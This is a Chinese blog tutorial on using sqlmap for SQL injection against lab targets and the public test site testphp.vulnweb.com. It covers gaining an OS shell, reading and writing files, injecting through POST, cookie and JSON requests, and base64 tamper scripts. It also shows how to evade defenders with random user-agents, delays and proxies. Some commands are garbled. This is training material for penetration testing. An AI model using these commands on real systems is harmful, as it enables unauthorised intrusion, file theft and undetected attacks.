046-WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

046-WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构-cnblog

一、权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
–is-dba(误报) --privileges(只能通过很多false或者true判断,不明显)

推荐使用–current-user

引出文件:
–file-read --file-write --file-dest
引出命令:
–os-cmd= --os-shell --sql-shell

1.python sqlmap.py -u "http://demo01/sqli/new.php?id=1" --is-dba –is-dba(是否是数据库管理员)(会误报)或者–current-user(获取当前用户名称,推荐)

  • current user: 'root@localhost’,代表是最高权限Root权限

image-20250425014632032

image-20250425014645251

2.判断是否可注入:python sqlmap.py -u "http://demo01/sqli/new.php?id=1"使用 SQLMap 对提供的 URL 进行 SQL 注入测试。

  • 存在注入点
  • 且为MySQL数据库
  • image-20250425014840875
  • image-20250425014933644

3.引出命令:

–os-cmd=(在目标系统上执行操作系统命令)
–os-shell (获取一个操作系统 shell(命令行)连接)
–sql-shell(执行SQL命令)

  • –os-shell (获取一个操作系统 shell(命令行)连接)python sqlmap.py -u "http://demo01/sqli/new.php?id=1" -sql-shell
    • select version(); (获取数据库版本信息)

image-20250425015228256

  • select * from admin; (查询表的信息)
    image-20250427164840003
  • 输入exit退出

–os-cmd= (在目标系统上执行操作系统命令)

  • –os-cmd=calc (执行计算器)
  • 询问语言(直接回车默认即可
  • image-20250427170120600
  • 如果路径自动查询失败,选则2(自定义路径)

image-20250427170150250

  • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)
  • image-20250427170300959
  • do you want to retrieve the command standard output? [Y/n/a]在 SQLMap 执行期间询问是否要获取命令的标准输出(command standard output)(输入a即可)

image-20250427170323522

image-20250427170444687

–os-shell (获取一个操作系统 shell(命令行)连接)

  • python sqlmap.py -u "http://demo01/sqli/new.php?id=1" --os-shell

  • 询问语言(直接回车默认即可

    image-20250427170600775

  • 如果路径自动查询失败,选则2(自定义路径)

  • 并输入对应文件名的相关目录:(注意:直接输入路径即可,不用带引号)

  • image-20250427170715398

  • os-shell> ver显示当前操作系统的版本信息)并输入y,得到回显

  • image-20250427170822330

  • os-shell> ipconfig (显示ip地址)并输入a或y

  • image-20250427170925430

4.引出文件:

–file-read(文件读取)
–file-write --file-dest(写入操作)

  • --file-read (文件读取)

  • python sqlmap.py -u "http://demo01/sqli/new.php?id=1" --file-read "d:\1.txt"

  • image-20250427174308441

    SQLMap 在执行时询问是否要确认从后端数据库管理系统(DBMS)文件系统成功下载了指定的远程文件 ‘f:/1.txt’。这里默认yes

    • 打开保存的文件,发现成功读取
    • image-20250427174550042
  • --file-write--file-dest 是 SQLMap 中用于执行文件写入操作的选项。

  • –file-write:此选项用于指定要写入的文件的内容。你需要提供一个文件的内容或者文件路径,SQLMap 将尝试将该内容写入目标文件。

  • –file-dest:此选项用于指定要写入内容的目标文件路径。你需要提供要写入的文件的目标路径,SQLMap 将尝试将指定的内容写入该文件。

  • python sqlmap.py -u "http://demo01/sqli/new.php?id=1" --file-write="d:\1.txt" --file-dest="c:\123.txt"

image-20250427174839269

二、提交方法-POST&HEAD&JSON

测试:Post Cookie Json
–data “”
–cookie “”
-r 1.txt(推荐使用)

1.在处理POST请求的时候,应该首先在页面测试

2.输入用户名和密码进行登录提交表单的测试

Untitled

3.并进行抓包,查看对应登录文件中负载的表单数据格式

4.普通的字符串格式:”uname=test&pass=test”

Untitled

–data “”–数据 “”
  • 该选项用于指定要发送的 POST 数据。在你的命令中,--data 的值被设置为空字符串,表示没有提供具体的 POST 数据。通常,你需要在引号内提供实际的 POST 数据,例如 **--data "**uname=test&pass=test**"**
  • 注意:指定URL需要指定,接受POST数据的URL,而不是登录的URL
  • 是:http://testphp.vulnweb.com/userinfo.php(抓取到包中是有负载数据,才是目标URL)

Untitled

Untitled

python sqlmap.py -u “http://testphp.vulnweb.com/userinfo.php” --data "uname=test&pass=test"

  • u "http://testphp.vulnweb.com/userinfo.php"

    • 指定目标 URL,这里是登录页面的 URL。
  • -data "uname=test&pass=test":

    • 指定 POST 请求的数据,这里是用户名 uname 和密码 pass,分别设置为 “test”。
      成功实现POST数据注入:
    • image-20250427185241479
  • –cookie “”(原理一样,只做data的演示)
    该选项用于指定要发送的 Cookie 信息。在你的命令中,--cookie 的值也被设置为空字符串,表示没有提供具体的 Cookie 信息。通常,你需要在引号内提供实际的 Cookie 信息,例如 --cookie "sessionID=123456"

推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

1.首先进行页面测试,并进行抓包

2.在抓包内容下查看,携带POST请求数据的页面:http://testphp.vulnweb.com/userinfo.php

3.选中对应的页面数据包,复制请求标头

4.复制请求数据包:uname=test&pass=test

5.将复制的东西,创建一个head.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

6.将请求数据包中的数据,用*打上注入点,这样方便快捷注入

  • 如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

7.sqlmap,实行注入:python sqlmap.py-r .\head.txt

  • 空格默认

  • QLMap 正在测试一个自定义的 POST 参数 #1*,以确定它是否是动态生成的。

成功注入

Untitled

Untitled

Untitled

Untitled

5.json格式

Untitled

  1. 抓包,指定URL:http://demo01/sqli/json_check.php

  2. 选中对应的页面数据包,复制请求标头

  3. 复制数据包:

    {
    “username”: “admin”,
    “password”: “123456”
    }

    4.将复制的东西,创建一个json.txt文件,并存放在sqlmap的目录下G:\develop\safety\ONE-FOX集成工具箱_V3.0魔改版_by狐狸\gui_scan\sqlmap

    5.将请求数据包中的数据,用*打上注入点,这样方便快捷注入

    如果没有注入点,自动注入,无法确定在哪里注入,会浪费很多时间

    {
    “username”: “admin”,
    “password”: “123456

    }

    6.打开sqlmap,实行注入:python sqlmap.py-r .\json.txt

    7.SQLMap 发现了多个注入点,并要求你选择一个用于后续注入测试的注入点。以下是对该提示的解释:默认选0即可

    [0] place: (custom) POST, parameter: JSON #1*, type: Single quoted string (default):

    选项 0 表示注入点位于自定义 POST 请求的 JSON 参数 #1,类型是单引号字符串。这是默认选择。
    [1] place: (custom) POST, parameter: JSON #2
    , type: Single quoted string:

    选项 1 表示注入点位于自定义 POST 请求的 JSON 参数 #2*,类型是单引号字符串。
    [q] Quit:

    选项 q 表示退出选择,不选择任何注入点。

    Untitled

Untitled

Untitled

Untitled

6.无论哪种格式,为了保证数据包完整性都推荐使用-r 1.txt

  • 该选项用于从文件中读取请求内容。在你的命令中,-r 后面的值是文件路径(1.txt),表示 SQLMap 将从该文件中读取请求内容,包括请求头和请求体

  • 如果是json格式的POST数据包,使用–data去注入存在以下问题

  • 抓包,指定URL:http://demo01/sqli/json_check.php

  • 复制数据包:

  • 打开sqlmap,实行注入:python sqlmap.py -u "http://demo01/sqli/json_check.php" --data "{"username":"admin","password":"123456"}"

Untitled

  • **报错all tested parameters do not appear to be injectable😗*所有测试过的参数似乎都不可注入。

Untitled

  • 原因:由于引号的影响,无法正确的读取参数,插入注入点,所以报错无法注入或没有注入点

Untitled

  • 即使加入*,标明注入点,依旧无法正常注入

Untitled

Untitled

#绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入
–tamper=base64encode.py
–tamper=test.py

1.测试GET页面,抓包,选中带有负载数据的页面http://demo01/sqli/base64.php?idMQ

image-20250427191535193

2.由于注入页面中有id=MQ==,判定是base64加密后的数据
3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://demo01/sqli/base64.php?idMQ"
4.报错无注入点:原因base64编码,导致注入语句怎样拼接都无法成功解码注入
Untitled

5.采用sqlmap中自带的Tamper脚本,解决base64编码解码问题

Untitled

Untitled

Untitled

6.引入Tamper脚本base64encode.py,再次实行注入:python sqlmap.py -u “3.实行sqlmap执行查看注入点:python sqlmap.py -u "http://demo01/sqli/base64.php?idMQ"–tamper=base64encode.py成功注入

Untitled

Untitled

Tamper脚本开发思路:

(1)前期分析检测判断过滤条件,
(2)分析过滤条件实行转换为对应的python代码,
(3)将代码放入sqlmap实验是否可以绕过过滤

#分析拓展-代理&调试&指纹&风险&等级)

1、后期分析调试:

v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

-v (0-6) 查看创建的Tamper脚本是否生效

对比前后是否使用Tamper脚本,的注入符号

Untitled

  • 发现使用脚本前后,注入符号由OR更改为Or,证明脚本执行成功

2、–proxy “http://xx:xx” #代理注入

Untitled

3、打乱默认指纹:

–user-agent “” #自定义user-agent
–random-agent #随机user-agent

面试问题:由于显示的数据包user-agent会携带一些固有流量特征,会被蓝队进行防护和识别。

sqlmap的固有流量特征:数据包user-agent中会默认其版本号

User-agent: sqlmap/1.7.2.16#dev (https://sqlmap.org)
Untitled

解决方式:通过自定义或者随机ua头,避免被过滤

通过自定义user-agent:--user-agent ""

随机user-agent:python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 –random-agent
Untitled

Untitled

面试问题:一个网址访问过快,大量的请求,频繁的扫描行为,可能引起网络防御工具的注意。

解决方式:使用延迟响应语句python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” -v 4 --random-agent –time-sec=(2,5)
--time-sec=5#延迟响应,默认迟为5秒。

-time-sec=5 是sqlmap的一个命令行选项,用于指定在检测过程中用于基于时间的盲注攻击的时间延迟范围。设置了时间延迟的范围,以使sqlmap能够在进行基于时间的盲注攻击时更灵活地进行操作。时间延迟是在进行盲注时,根据响应的延迟时间来判断是否成功执行了SQL语句。

Untitled

4、使用更多的测试:–level --risk等级限制

  • 总结:在使用盲注扫描注入点的时候,可以将规则等级进行设置提示,可能会扫到其他的注入点。

将源码设置为两个可注入点:分别为idUser-Agent

Untitled

当使用sqlmap进行扫描的时候,不使用自己创建的Tamper脚本,默认扫描注入点:

首先使用默认等级进行扫描:

  1. python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1”
  2. 发现有过滤,无法寻找到注入点

Untitled

Untitled

在执行代码后规定等级:--level=3(测试水平等级) --risk=2(执行的风险等级) python sqlmap.py -u “http://192.168.137.1:84/sqli/new.php?id=1” --level=3 --risk=2

发现找到注入点:但是不是先前判断的id注入点,而是不知晓的User-Agent
原因:使用高等级的规则进行查询扫描注入点的时候,又可能会扫描到其他注入点
Untitled

Untitled

AgAABTZwlSIrkRUmReVN9ZM0JO8xKbIA.png

posted @ 2025-09-19 18:12  0xMouise  阅读(7)  评论(0)    收藏  举报